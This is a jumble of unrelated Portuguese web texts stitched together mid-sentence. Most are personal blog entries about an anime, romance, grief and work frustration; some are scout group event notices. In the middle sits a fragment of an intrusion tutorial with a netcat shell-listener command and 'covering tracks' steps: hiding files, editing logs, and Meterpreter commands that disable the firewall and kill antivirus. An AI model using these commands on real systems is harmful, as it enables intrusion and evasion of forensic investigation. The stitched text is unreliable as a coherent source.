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Hoje nao escreverei sobre minhas ultimas experiencias, hoje irei dizer o quanto e bom cantar. ^^ Esse anime chama-se Full Moon, conta a historia de uma garotinha seu nome e Mitsuki ela tem 12 anos e seu estado de saude e grave, o medico da familia, Keiichi Wakaouji, diagnostica que ela tem cancer na garganta e que a operacao seria a solucao mais confiavel. Seu sonho de se tornar uma cantora, e desta forma se reencontrar com Eichi, fica cada vez mais distante. E quando se pensa que nada poderia ficar pior, surgem Meroko e Takuto, os dois shinigamis encarregados de vigia-la pelo periodo de um ano ate o dia que eles levariam sua alma. So que Takuto fica com pena da garota e decide ajuda-la a se tornar uma cantora, para isso ele a transforma numa garota de 16 anos. A partir dai comecam as aventuras de Mitsuki/Takuto/Meroko para evitar que alguem descubra que a jovem cantora Full Moon de 16 anos e na verdade a fragil Mitsuki de 12 anos.E uma linda historia romantica e cheia de aventura, eu particularmente amei a historia. E um exemplo de vitoria, onde prova que a dedicacao de um ser humano e maior que qualquer outra atitude. Por isso vou deixar com voces uma das melhores musicas do anime ^^ Eternal Snow Kimi wo suki ni natte dorekurai tatsu no kana? Kimochi fukurande yuku bakari deKimi wa kono omoi kidzuiteiru no kana?Ichido mo kotoba ni wa Shitenai kedoYuki no youni tada shizukaniFuritsumori tsudzukete yukuHold me tight konna omoi naraDareka wo suki ni naru kimochiShiritaku nakatta yoI love you namida tomaranaiKonnan ja kimi no kotoShirazuni ireba yokatta yoKimi wo itsumade omotteiru no kana?Tameiki ga mado GARASU KumorasetaYureru kokoro tomosu KYANDORU deIma tokashite yukenai kana?Hold me tight oreru hodo tsuyokuKogarashi fubuki ni deatte moSamukunai youni toI miss you kimi wo omou tabiAmikake no kono MAFURAAKonya mo hitori Dakishimeru yoEien ni furu yuki ga aru naraKimi e to tsuzuku kono omoi kakuseru no kana?Hold me tight konna omoi naraDareka wo suki ni naru kimochiShiritaku nakatta yoI love you mune ni komiageruFuyuzora ni sakebitaiIma sugu kimi ni aitai yoHold me tightI love you Eu cantarei mais vezes, porque assim estarei expressando meus sinceros sentimentos ^^ E isso aii galerinha ^^ !!!!!!Na proxima noite lhe trarei doces sonhos ^^ Eu queria que tudo pudesse ser diferente, queria poder montar minha propria historia, viver apenas as minhas regras, eu queria poder dizer o que eu sinto sem ter medo, eu queria poder te ter todos os dias ao meu lado, estar com voce a cada segundo. Mas nada disso eu posso fazer... Pois nao cabe a mim decidir isso, e sim, meu destino. Nao sei o que se passa em sua mente, nao sei quais sao seus sentimentos, nunca vou poder dizer o que sinto se nao sentir confianca. Mesmo que meu desejo seja grande, a minha confianca e pequena.Nao importa quanto tempo eu passe sem te ver, esse sentimento nao morre apenas permanece escondido esperando todos os dias por voce. E nada posso fazer para acabar com ele, mesmo
que eu queira. Estou cansada de jogos. Mas se for preciso faze-los para lhe ter aqui ao meu lado, eu os farei... Mesmo sabendo que eu corro o risco de nao te ter como eu quero. Serei tolerante, e me afastarei assim que voce disser para me afastar. Nao tenho palavras nem limites para isso. Afinal, nada e concreto tudo esta indefinido e confuso. Mas esperarei...sempre estarei esperando...ate o dia em que te direi adeus... ou te direi, serei sua para sempre.
Angustia...o que sera que as pessoas entendem quando falam que sentem isso? Algumas dizem que sentimos isso quando algo de ruim acontece. Outros dizem que voce senti isso quando algo de ruim ira acontecer...Mas digo que pelo que eu provei do mundo, posso dizer que angustia tem outro significado para mim...Para mim, ela e dada como uma dor, ou por um lembranca...Nao se descreve esse sentimento. Ele pode ter varios significados, mas que todos se resumem a uma unica coisa, o mal.Eu ja provei varios mundos, ja vivi varias coisas, e ainda viverei muitas outras.Mas pelo pouco que conheci, posso dizer que existe o lado bom, o lado mal. O ser humano nunca vai acreditar em algo que ele nao tenha prova de que existe, afinal, so acreditamos em coisas concretas. Nunca senti dor maior, como senti em um certo dia, perdido e escondido no meu passado, foi como se eu estivesse morrendo, ou algo pior...na verdade, nem viva eu estava...foi real, mas nao parece ter acontecido.Sao tantos mundos a se percorrer, e eu tive o azar de conhecer o pior. Nunca vou entender o porque de uma pessoa forcar a outra a fazer algo que nao quer. Sera desejo? vinganca? odio?... eu nunca saberei. Voce ja se sentiu vivo por um instante, e logo em seguida, voce se sentiu morrer? Nao a morte fisica, mas a morte da sua alma. A morte da pessoa que voce ja foi um dia...Sentirei falta de ter a inocencia, de ter sonhos, de poder ter algo com alguem sem temer suas atitudes. Eu sempre poderei abrir portas e mais portas, mas nunca mais sera o mesmo. Talvez seja culpa minha?!Ou seja falta de confianca, ou seguranca...Sim, inseguranca, e disso que sou coberta. Nao consigo confiar. Anos e anos se passaram...e a angustia ainda toma conta de mim...ela vai e volta. Mas tenho que manter tudo pacifico, tenho que dar o melhor de mim mesma, lutar contra isso. Mas nao conseguirei sozinha...Nessas horas e que voce ve quem realmente esta ao seu lado. E quando voce ve quem sao seu amigos, quem ama voce de verdade...Antes eu sentia um vazio. Agora nao sinto mais. Nao estou completa, ainda.Hoje me sinto cada vez mais forte. Cada dia me sinto mais vitoriosa. As mudancas acontecem, mas nada e por acaso, voce precisa conquistar seus ideais. Precisa brigar por eles. Mesmo que seja com voce mesmo!Um dia uma pessoa muito querida, me disse que preciso me amar antes de amar qualquer outra pessoa. A pouco tempo atras eu nao sabia o que era isso. Hoje digo em voz alta, que eu me amo. Ja nao me inutil. Porque agora sei que sou capaz de conseguir qualquer coisa que eu queira...basta eu ter dedicacao, e lutar pelo que eu quero."Sempre faco o que nao consigo fazer para aprender o que nao sei!" kissus bayoo!! ^^Comentem povo!!! Casamento, o que pensamos de fato neste acordo matrimonial?Bom eis aqui minha revelacao, meu maior sonho e me casar. Eu sei que para uma garota em pleno seculo XXI chega a ser brega e
idiota querer uma coisas dessas, porem, nao penso que isso e idiota, penso que e mais que uma prova de amor, e a hora mais importante de uma relacao, pois nao e apenas a pessoa que voce escolheu para viver ao seu lado para sempre, e sim, um grande companheiro, aquele que estara ao seu lado em todas as horas, que te dira '' eu te amo'' sem um motivo especial, que lhe satisfara todos os seus desejos sem pensar em erros, aquele que te olhara como se fosse a unica pedra preciosa existente no mundo.Ok! Eu sei... romantico demais ^^E dai? eu sou mesmo romantica ^^Chega ser raro um casal atual, nao se separar.Entao porque as pessoas se casam? Por amor? Por puro capricho? Porque temem a velhice solitaria?Nao sei. Mas nao e isso que sonho para minha futura familia.Sonho em ser feliz e isso que me importa. Mas para chegar a ter isso, terei que enfrentar muitas coisas. A comecar pela faculdade. A pressao e tao grande que chega a ser deprimente. As vezes penso em desistir, jogar tudo fora, e nao me arrepender disso. Mas se eu fizer isso serei apenas mais uma derrotada no mundo.
nao perdemos tempo realizando todo o processo de novo. nc -u -l -p 53 -e /bin/sh ou cmd.exeCobrindo rastro Sao meios de cobrir o rastro de uma invasao para que o forense nao o encotre. E importante salientar que uma invasao do comeco ao fim tem que ser bem elaborada. Recomendacao instale maquinas virtuais e realizem o teste d e intrusao para nao se perder no processo real. Exemplo de cobrir os rastro depois de uma invasaoEscondendo arquivos --> /usr/bin PS/dev/, /tmpEditando logs --> Meterpreter meterpreter > run getcountermeasure -d-d desabilita o firewallmeterpreter > run killavMata o processo de antivirusEscondendo trafegometerpreter> run get_local_subnetsEsteganografia. http://www.vivaolinux.com.br/artigo/Esteganografia-utilizando-steghideAbraco a todos.
Segue videos sobre analise de Malware muito interessante para quem quiser entrar nesse campo.Parte 1Parte 2Abraco a todos. Participei de 2 eventos do hacking day e foi demais conhecer a comunidade de hackers que usam do conhecimento para o bem.Mais informacoes no blog do coruja de ti.http://blog.corujadeti.com.br/o-coruja-de-ti-leva-voce-para-a-defcon2013/Abraco. Ola a todos,No dia 15 de Dezembro o Grupo ira realizar o Solsticio, altura em que queremos que todos os pais, familiares e amigos estejam presentes.Poderao fazer a vossa inscricao ate a dia 8 de Dezembro.Para verem o documento basta clicar aqui Para os Pais dos elementos da alcateia, estao aqui algumas informacoes para o Inter-Alcateias, a realizar nos dia 8 e 9 de DezembroPara ver o documento basta clicar aqui Ola a todos,Nos proximos dias 11 e 12 de Maio, o Grupo ira realizar um acampamento onde ira praticar tecnica escotista.Construcoes, cozinha de campo, animacao escotista entre outras :)Para isso deverao estar todos na Junta de Freguesia as 09:00 para seguir para o PNEC.Os elementos deverao levar o almoco de dia 11.O custo da atividade e de 8 Euros, com direito a lanches, jantar de sabado, ceia de sabado, pequeno almoco de domingo e almoco de domingo.O regresso a casa sera no dia 12 pelas 17 horas.Vamos pedir o apoio aos papas para nos ajudarem a levar os nossos meninos e meninas no sabado e para os trazer no domingo.A chefia do 232 Indicacoes para o local do Solsticio Ola pessoal da TESAqui para relembrar da actividade que ira realizar no proximo sabado, pelas 8h15na estacao de Coina, onde iremos para Monsanto. O custo da actividade e de 8, terao que levar uma mochila pequena com almoco e dois lanches, terao que estar bem uniformizados, um agasalho e um impermeavel caso seja necessario.A chega a estacao sera pelas 19h30m na estacao de Coina.E claro boa disposicao.Boa cacaChefe Sonia Almeida Para os elementos da alcateia:A Alcateia ira realizar um acantonamento nos dias 24 e 25 de Novembro, na Junta de Freguesia.Os Lobitos deverao estao na sede as 15 horas de Sabado e regressao a casa no Domingo pelas 10 horas.Deverao levar o seguinte material:Uniforme completoFato de treino para a noiteAgasalho para a noiteSaco camaColchaoJantar de SabadoPequeno almoco de DomingoEm caso de duvida podem entrar em contacto com a Akela. Ola maltinha,Para os elementos da Tes, Tex e cla que queiram ir dar uma ajuda nas obras da nossa sede, nos estaremos amanha (domingo dia 30), no campo Scout das 15 as 18.Estamos a tua espera :)Mais informacoes no FaceBook.Bjs e abracosMocho Vota na proposta que mais gostas para o mail do grupogrupo232@escoteiros.ptdeveras indicar o numero da proposta em que votas, sendo a 1a o distintivo redondo vermelho e depois segue a ordem.em caso de duvida podem enviar mail.bjs e abracosa chefia Ola pessoal!Noticias de ultima hora, por motivos metereologicos a actividade de amanha passara para as 14h na sede-Junta de freguesia. Sendo so necessario o lanche, mantendo na mesma o objecto pessoal que deverao trazer.Esta informacao e para todos os elementos do grupo. Para mais informacoes poderao contactar os chefes de3 cada divisao.bjocasChefia Ola jardim,
hoje vou me expressar de uma forma diferente... Nao sei a que ponto, mas bem diferente da meu modo de ser... acho que estou evoluindo, talvez eu seja um pokemon, porque vem mudando todo um historico de ideias e revendo alguns conceitos.Hoje, 25 de Dezembro, conhecido como Natal e lembrado pelo nascimento de Jesus. Nao que eu seja ateu, ate porque minha crenca a historia e outra... mas nao creio que Jesus tenha nascido em Dezembro, ate por questoes meteorologica nao condiz, enfim... Uma epoca festiva, que deixou de ser simbolizada pelo nascimento do filho de Deus, que deveria ser de amor e sacrificos, tornando hoje uma epoca capitalista. Mas a minha ideia hoje em questao, por ser tao falso e hipocrita, e uma data que as pessoas se doam mais, se "amam" mais.... o que digo e?! Porque so hoje? Porque nao se amar todos os dias? Se abracar? Cantar e sorrir? Se doar!?Todos os dias deveria ser natal, nao por uma data crista, mas porque mostra que todos sabem amar so falta praticar mais.... O mundo seria bem melhor se todos os dias fossem natal.Feliz Natal e amor ao proximo independente de ser religioso!Beijos arvores, flores e mundo!
Uuuuahhh! Como demorei dessa vez, e vejo que o jardim esta um pouco sombrio e seco. Talvez devesse passar mais por aqui, assim seria mais facil lidar com toda essa bagunca na mente, como sempre...Mas, venho aqui, desabafar e chorar as pitangas, amoras e limoes, porque anda tudo bem azedo. Mas antes de comecar o chororo, deixa dizer... Eros Ramazzotti vem pro Brasil em 2016!! Se vou??? Claro! Chorar em show e comigo mesmo... #SentimentaloideBom, vamos la...Sabe o que e engracado? Como a vida te maltrata, te muda, te faz forte e fraca ao mesmo tempo, sempre me achei forte, sempre me achei durona, me achei esperta e sei la... me orgulhava muito de mim. Hoje, em plena circunstancia me sinto uma nada, ou ate pior... tao fragil que da desgosto. Sabe o que e pior, recomecar... recomecar a levantar muros no qual eu tinha acabado de levantar. E o tipo de sentimento que amo e odeio, sentimento de se apaixonar. Me ergue e me derruba de tal maneira, que me corta por dentro e sangra de uma maneira que nao para... nao para nunca. Fui loucamente apaixonada por anos, por uma pessoa que hoje nem sei mais o que se passa... ainda e um sentimento no qual eu nao decifrei, um sentimento tao forte que talvez devesse deixar ali no cantinho, para um dia ser vivido ou entao lembrado... mas foi um sentimento lindo, da minha parte posso afirmar pelo menos. Porem, passou anos eu ali, voando e voando sem parar... sem atracoes e sem novidades. Tive um pouso rapido, mas foi pouso de emergencia, precisava me sentir viva e senti. Mas nao era o que procurava para me manter viva e ali durante um dos meus voos distraida me deparo com um olhar, um olhar tao profundo que perdi o meu equilibrio e cai. Cai de tal maneira, que parecia camera lenta. Esses olhos de morcego, frio e congelante, me hipnotizou. Segui, fui adianta com essa hipnotizacao, porque parecia algo tao bom, tinha atencao que queria, conversas, risos, companhia, musica,,, tudo era perfeito. Ate, como toda hipnose tem o estralo. E esse estralo, aconteceu... Diminuiu as conversas, o carinho, a atencao, perdeu algo magico e ficou o som e o eco do silencio da duvida, medo e receio. Mas a duvida, mata, mata tudo aos poucos porque ela traz a inseguranca e a ansiedade. So sei que fiquei no chao, estou no chao... nao faco parte do voo de um morcego, nao faco parte daqueles olhos profundos e isso doe. Porque hipnotiza, mas nao pertenco, mas doi tanto ser deixada de lado de algo que parecia tao bom e tao real. Talvez os voos dele seja tao livres, que sou pequena demais para acompanhar... Talvez outros seres consiga acompanhar e eu que nao via, pois seguia apenas aqueles olhos profundos no qual deixei me levar num voo tao alto que cai.Minhas asas estao quebradas, estao raladas, frias e cheias de feridas. Nao sei quanto tempo vou me recuperar, nao sei quanto tempo vou ficar assim, minha forca ficou la traz,
no passado que foi arrancado de mim. Agora, preciso me recuperar, preciso de tranquilidade e espero que aqui venha ser meu refugio, o unico que posso desabafar, pena nao poder ser abracada e protegida totalmente como gostaria. Mas aqui, tenho paz e posso soltar sem medo e meus desabafos.Jardim, florzinhas e bichinhos... estaremos em paz.Beijos, da pequena borboleta.
O tempo, o transitoA cidade, o campo e o calorA vida sem amorE eu concordo: o amor onde esta?!(Ludov - Urbana)***Ouvindo Ludov, fico pensando nos fatos e acontecimentos.. e vejo e concordo com a letra de uma cancao... talvez porque me descreva um pouco... Mas o mundo anda tao vago...Sinto falta da "paquera" de antes... os convites pro cinema, para o teatro, parques, e jantar... Hoje esta tudo tao seco e sem graca, que nem tem graca de sair... As coisas andam bem retas, ou e isso ou aquilo e pronto. Que sem graca!Mensagens, ligacoes... cartinhas... aff ! Acabou...Sim, sou romantiquinha... assumo isso. Mas se nao tiver um pouco de docura nessa vida, as coisas ficam assim, cinzas, sem graca, ser flores e sem vida. Essa semana estou um pouco melancolica, sei la... Tenho escultado bastante Kings of Leon, nao que seja melancolico... mas associo: musica de ficar deitada na cama, olhando pela janela e vendo as estrelas, so que ultimamente nao tenho visto muitas estrelas, talvez elas estejam cansada dos meus desabafos e nessas horas lembro que tenho um local especial e vim pousar aqui... nesse imenso jardim.Diz uma frase feita que o homem so perde sua dignidade quando perde o emprego, de fato e verdade. Nunca me senti tao cansada de nao fazer nada, sei que e muito dificil estudar e trabalhar, por mais apoio que eu tenha em ficar em casa e estudar de alguma parte, nao gosto dessa "ajuda"... Gosto de dar a cara a tapa, de trabalhar, gastar com coisas que vou chegar em casa e me perguntar "porque comprei aquilo"... Isso foi so um exemplo bobo, mas e legal conhecer pessoas, ocupar a cabeca com outros problemas, mesmo que estresse... sair dos livros e do quarto.Minha vida se resume em faculdade, casa, quarto, faculdade, quarto, faculdade e faculdade e visita de campo. Amo conhecer coisas novas, e nunca me identifiquei tanto com algo que estudo como tem sido esse ano... Conheci pessoas incriveis, que me mostrou um mundo exotico, um mundo cheio de vida, um mundo que esta acabando por ego de uma raca que se acha superior. E isso me da medo, saber que o amanha pode se tornar tao dificil de se viver e as pessoas ainda nao deu conta disso.Todo dia me lembro de quando eu era crianca e juntava revistas que tinha natureza e animais, e dizia que eu seria o Ace Aventura, logico que aquele personagem para mim era um heroi diferente, pois ele de uma certa forma cuidava de TODOS os animais e eu achava o maximo, e ate tempo atras tinha essa redacao que fiz pra escola com um desenho junto, mas na minha bagunca perdi. Logico, que hoje sei que nao seria o Ace Aventura, mas que estudando e me dedicando um pouco mais, posso ajudar nao so a minha especie, mas todas e nao existe uma em especial, porque cada uma precisa da outra, e um ciclo e esse ciclo esta se perdendo e logo o ciclo pode se acabar.Mas, outro dia venho pra falar mais desse
mundo novo que conheci e venho me apaixonando...Sabe aquela melancolia rotineira que comentei logo no inicio, e estranho dizer e expressar, e dificil voce sentir algo maior do que voce e conseguir controlar, e dificil ter controle e gostaria de ter, mas se nem os x man tem controle de seus poderes, quem dira eu, uma idiota mortal?!Todos cometem erros, e dificil viver sem errar e deve ser muito sem graca ser perfeito, deve ser muito chato fazer tudo certo, o que se aprende se voce faz tudo certo?Alguns momentos a gente so queria acertar e nao errar, e algumas vezes esses momentos de erros causa um estrago imenso, e complexo. Complexo porque voce age por impulso, de maneira que voce esta ali na intensidade e tudo mais, nem sempre voce quer uma guerra, nem sempre voce quer ter a razao, voce so quer se expressar e ser ouvida e entendida, porem nem sempre acontece assim.Depois de toda confusao, voce para e senta e ve como nem sempre o entender e claro, voce se deita e nao consegue dormir porque fica imaginando situacoes diferentes para aquela briga ou confusao. Quer uma pausa de voce mesma, pra voce parar e comecar de novo ate acertar... As vezes nossas lembrancas sao nossas proprias inimigas, ela nos tortura, traz coisas que voce nao quer lembrar e ai algo que ja era complexo fica mais e mais e mais, ate voce surtar ou consegui se controlar... e no fim de tudo isso, eu sempre surto!Beijo meu jardim!
Sou um pouquinho cabecuda, entao muitas vezes levo um tempo para aprender... Geniosa, nem tanto... mas as coisas as vezes precisa ser do meu jeito, se nao a briga esta armada!Precisei aprender muitas coisas quebrando a cara, ainda preciso quebrar mais... mas nem sempre precisa ser a minha cara a ser quebrada, pode ser das pessoas que me irritam... #FicaDica***Brincadeiras e verdades a partes, esse texto vem ser um desabafo um tanto quanto preciso... Cansada e esgotada com a rotina diaria, pessoas incompetentes e falta de respeito vem fazendo com que eu aguarde muito, mas muito mesmo minhas ferias.E gratificante quando voce esta percebendo seu reconhecimento, mesmo que esse reconhecimento nao tem sido tao seguro assim... Mas e desgaste ver como pessoas, mal posicionadas, pessoas mimadas e egoistas se auto avaliam tao bem, que nao enxergam sua falta de competencia ou caracter. Estou sendo radical? Talvez, esteja. Mas isso nao diminui nem aumenta o fato de tal ser, ser insuportavel!Nao gosto! Nao agrado! Nao procuro! Nao conversa e se puder nao olhe pra mim e saia do meu caminho! Sou assim, errado? SIM! Mas frases ditas vem bem a calhar " Antes antipatica que falsa!".Exatamente... Estagnada!A Deus, a Deusa ao Buda! Cade a paciencia que tanto preciso?? #PeloAmor Ola meu jardim favorito, como estao voces? Estou bem, na medica do possivel. Para varias estou aqui para meus desabafos emocionais, desabafos que continuo a dizer, se expressar faz muito bem pra alma.Algo vem me incomodando ja faz algum tempo, mas sempre acabo deixando pra la... Pois acho que tem coisas que nao devemos nos importar ou se incomodar, mas ultimamente sei la, vem me deixando meio que... sentindo sufocada. Acredito que familia e alguns amigos sao para sempre, mas nem sempre o convivio e facil. Ate porque cada um tem sua personalidade, cada tem seu modo de enxergar a vida e de leva-la. So que crescemos, envelhecemos a cada momento e isso nos muda, para melhores e para piores dependendo do modo de vida, mas muda e a vida nos ensina a ser diferente.Estou em um momento de "exorcismo", estou me afastando de pessoas, que nao agrega nada pra mim, nao que eu nao goste delas, simplesmente nao tenho contado, nem conversa nao tem porque manter por perto, ainda mais se e aquelas pessoas que gosta de so saber o que faco para ficar comentando. Estou me livrando de pensamentos que me deixam para baixo, pessoas negativas que so sabem te desanimar e te colocar em situacoes de desaprovacao e tristeza. Mas o que tem me deixado mais chateada, sao pessoas que considero como irmaos, pessoas da qual gosto muito e nao enxergam que eu mudei, que tenho sonhos, vontades, pensamentos diferentes... Nao sou mais uma menininha, recatada, que se escondia atras de livros e musicas, hoje eu canto junto, danco e berro o que aprendi nos livros e o que nao aprendi, procuro descobri. Hoje vejo que o mundo nao e so minha casa, faculdade e trabalho, o mundo hoje pode ser o que eu quiser e onde eu quiser estar e
quero estar em algum lugar, que vai me dar vontade em algum momento da vida. As pessoas acha estranho e te olha como voce fosse um alienigena quando voce se expoe, e comenta sobre ideias e gostos... E dificil de entender que eu mudei, que nao quero ser o que fui, que estou bem assim... que nao quero ser uma bonequinha montada da sociedade. Gosto de sentar no bar com um bom som, beber uma cerveja e falar dos casos de amores, falar de animais, falar das estrelas e de vida apos a morte. Nao quero ficar batendo na tecla de assuntos que nao acrescenta. A vida passa, os amigos mudam os assuntos tambem, doe e e dificil aceitar isso, eu sofro mas nao consigo forca, nada forcado me faz bem.Continua sento sentimental, ate mais e talvez ate pior pois nao guardo mais, aprendi com a vida que nao devemos guardar sentimentos ou descartamos ou usamos. E assim sou... amo intensamento e nao vivo desamores de amigos, familia nem ex, passou ficou la traz em algum lugar do universo, comigo so anda junto sentimentos bons e que completa, ate porque quebra cabeca sao de pecas diferentes e nao iguais, entao o que completa me completa hoje, sao pecas diferentes que se atraem por algum motivo, ou energia... As pessoas mudam, eu mudei, e hoje quero viver a minha vida nao a dos outros e nao abaixo mais minha cabeca para ninguem.